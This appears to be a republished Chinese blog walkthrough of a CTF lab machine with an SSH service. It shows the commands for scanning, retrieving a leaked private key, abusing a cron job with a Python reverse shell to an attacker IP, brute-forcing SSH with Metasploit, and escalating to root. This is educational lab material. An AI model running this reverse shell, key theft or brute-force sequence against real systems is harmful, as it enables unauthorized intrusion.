「安全笔记」 CTF-SSH 服务测试

栏目: 服务器 · 发布时间: 5年前

内容简介:注意这里的靶场由于版本的问题,只能使用VM VirtualBox安装,攻击机用kali Linux在VMware上安装,这里有个坑,在配置网络的时候,全部选择桥接模式,但是VMware下 编辑->虚拟网络编辑器->更改设置->nat0网卡桥接到的外部网络需要和VirtualBox桥接到的一致,不然搜索不到网络,而且桥接模式模拟真实计算机在网络中,利用本机网卡来获取地址的。所以必须连接在同一网络环境下。靶机连接在文章最底部

「安全笔记」 CTF-SSH 服务测试

环境搭建

注意这里的靶场由于版本的问题,只能使用VM VirtualBox安装,攻击机用kali Linux在VMware上安装,这里有个坑,在配置网络的时候,全部选择桥接模式,但是VMware下 编辑->虚拟网络编辑器->更改设置->nat0网卡桥接到的外部网络需要和VirtualBox桥接到的一致,不然搜索不到网络,而且桥接模式模拟真实计算机在网络中,利用本机网卡来获取地址的。所以必须连接在同一网络环境下。

靶机连接在文章最底部

正式开始

我这里kali Linux 的ip地址是 192.168.43.141

靶机的ip地址是 192.168.43.197

首先我们用 netdiscover -r 192.168.43.1/24 扫描目标网络主机,找到靶机ip地址

「安全笔记」 CTF-SSH 服务测试

然后用nmap扫描开放端口,这里介绍下nmap常用的几个命令

探测开放的服务与服务的版本

nmap -sV ip

探测全部信息

nmap -A -v ip

探测操作系统类型与版本

nmap -O ip

这里我们用 namp -sV 192.168.43.197 探测靶机开放的服务

「安全笔记」 CTF-SSH 服务测试

接下来我们对收集的信息进行分析

对于ssh服务开放的靶机,首先考虑

+ 暴力破解

+ 私钥泄露(有没有对应的密码,有没有用户名泄露)

对于开放http服务的80端口或者其他端口的靶场,首先考虑

+ 通过浏览器访问对应的靶场http服务

+ 使用探测 工具 进行目录探测

接下来我们挖掘敏感信息

首先先对http服务进行探测,我们访问页面发现这是一个公司介绍,abouts里有对应的名字,猜测可能是登陆的用户名。

「安全笔记」 CTF-SSH 服务测试

接下来我们扫描目录

对于扫描结果我们逐条阅读,首先是一个files目录,打开发现没有东西,接下来打开icons,发现里面有一条奇怪的文件,打开发现是id_ras(私钥)

「安全笔记」 CTF-SSH 服务测试

利用 wget http://192.168.43.197/icons/VDSoyuAXiO.txt 下载下来

将他名称修改为id_rsa

然后我们尝试利用刚才挖掘的用户名登陆

首先修改权限 chmod 600 id_rsa
然后登陆服务器 ssh -i id_rsa martin@192.168.43.197

提示密码我们直接回车,发现没有密码

「安全笔记」 CTF-SSH 服务测试

登陆后需要扩大战果,可以进行以下操作。

+ 查看当前用户 whoami

+ id 查看当前用户的权限

+ 查看根目录寻找flag

很可惜我们并不是root,那么就需要其他的操作了,因为一般来说,flag属于root

「安全笔记」 CTF-SSH 服务测试

我们可以一查看这些目录,进行提权

/etc/passwd 查看所有用户的列表
/etc/group 查看用户组
或者
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件

查看用户列表发现我们猜测的用户都存在。

「安全笔记」 CTF-SSH 服务测试

在排查完这些文件之后,发现我们需要的信息都不存在,那么我们就需要深入挖掘

我们可以通过 /etc/crontab 这个文件。这个文件是设定系统定期执行的任务。如果说在这个目录下有某个用户的计划文件,但是具体目录下没有这个文件。那么我们就可以经行创建反弹shell,然后用netcat监听获得用户的权限。

如果存在那么可以查看有无执行权限

「安全笔记」 CTF-SSH 服务测试

我们输入 cat /etc/crontab 查看这个文件,发现目录下有个jimmy用户的 python 文件每五分钟执行一次,进入指定目录查看发现没有那个文件。那么我们就可以利用这个文件经行反弹shell

我们编写一个tcp客户端来反弹shell

#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("192.168.43.141",1234))#注意这里是kali的ip和你在netcat上监听地端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

将这个文件保存在/tmp目录下然后命名为sekurity.py,并使用 chmod +x sekurity.py 设置可执行权限。在kali上使用netcat监听端口。

kali上输入 nc -lpv 1234 等个几分钟就会看到返回的shell。输入 whoami 发现是jimmy,成功反弹shell。但是查看用户发现并不是root,那么这个方式也失败了。

「安全笔记」 CTF-SSH 服务测试

那么我们只能使用暴力破解了

这里我们使用比较知名的cupp创建个性化字典。

git clone https://github.com/jeanphorn/common-password.git #注意安装git命令
chmod +x cupp.py
./cupp.py -i #以交互方式创建字典

创建时你可以生成自己喜欢的字典:-p我这里除了末尾随即字符选了y其他全部回车

「安全笔记」 CTF-SSH 服务测试

然后使用msfconsole进行爆破

msf > use auxiliary/scanner/ssh/ssh_login
msf > show options #查看参数列表
msf > set rhosts  192.168.43.197 #靶机ip
msf > set username hadi
msf > set set pass_file /root/桌面/tools/common-password/hadi.txt #cupp生成的密码文件地址
msf > set set threads 5 #设置线程
msf > run #开始爆破

成功爆破出密码hadi123

这时候我们使用 session -i 1 连接会话,

python -c "import pty;pty.spawn('/bin/bash')" 优化显示

然后使用su - root提升权限,这时候我们就是root了,然后就可以为所欲为了。

「安全笔记」 CTF-SSH 服务测试

cat flag.txt 就得到了flag啦。

「安全笔记」 CTF-SSH 服务测试


以上所述就是小编给大家介绍的《「安全笔记」 CTF-SSH 服务测试》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

创造突破性产品

创造突破性产品

Jonathan Cagan、Craig M.Vogel / 机械工业出版社 / 2004-1 / 35.00元

在《创造突破性产品:从产品策略到项目定案的创新》中作者总结多年的研究成果,指明了与产品创新相关的一系列因素,并提供了一套全新的开发突破性产品的理论与方法,该书旨在帮助企业,技术和设计人员: 获得对用户的需求和市场新的趋势的准确洞察力; 认识可以创造新市场的产品机会缺口; 指导产品模糊前期的构造; 正确地运用定性和定量的研究方法; ......一起来看看 《创造突破性产品》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

html转js在线工具
html转js在线工具

html转js在线工具